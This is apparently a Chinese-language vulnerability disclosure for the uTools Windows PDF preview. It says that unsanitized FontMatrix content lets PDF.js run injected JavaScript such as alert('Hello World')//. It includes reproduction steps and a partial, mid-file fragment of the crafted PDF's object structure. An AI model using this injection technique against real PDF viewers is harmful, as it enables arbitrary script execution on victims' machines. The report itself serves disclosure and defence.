漏洞描述: 该漏洞存在于 uTools Windows 版本内置的 PDF 文件预览功能中。由于应用在预览 PDF 文件时,其对字体类型的处理逻辑存在缺陷,未能对嵌入的恶意代码进行有效检查和过滤,导致 PDF.js 库在解析特制的恶意 PDF 文件时,会执行文件中包含的任意 JavaScript 代码。
技术细节: 漏洞根源在于 PDF 解析过程中,对 FontMatrix 等字段中包含的可执行内容未进行正确 sanitize。通过在该字段中嵌入 JavaScript 代码(如 alert(‘Hello World’)//),并利用特定的 PDF 对象结构,使得 PDF 渲染引擎在加载字体等资源时错误地将其执行为代码。
复现步骤:
将提供的恶意 PDF 样本保存至本地(如 C:\hello.pdf), 打开 uTools (v7.2.1或更低版本)。
endstream endobj 7 0 obj << /PatternType 1 /Matrix[1 0 0 1 50 0] /Length 58 /TilingType 1 /BBox[0 0 16 16] /YStep 16 /PaintType 1 /Resources<< >> /XStep 16 >> stream 0.65 g 0 0 16 16 re f 0.15 g 0 0 8 8 re f 8 8 8 8 re f endstream endobj 4 0 obj << /Pattern<< /P1 7 0 R /P2 8 0 R >> /Font<< /F1 5 0 R >> >> endobj 1 0 obj << /Pages 2 0 R /Type/Catalog /OpenAction[3 0 R /Fit] >> endobj
xref 0 11 0000000000 65535 f 0000002260 00000 n 0000000522 00000 n 0000000973 00000 n 0000002178 00000 n 0000000266 00000 n 0000000794 00000 n 0000001953 00000 n 0000000015 00000 n 0000000577 00000 n 0000001085 00000 n trailer << /ID[(DUMMY) (DUMMY)] /Root 1 0 R /Size 11 >> startxref 2333 %%EOF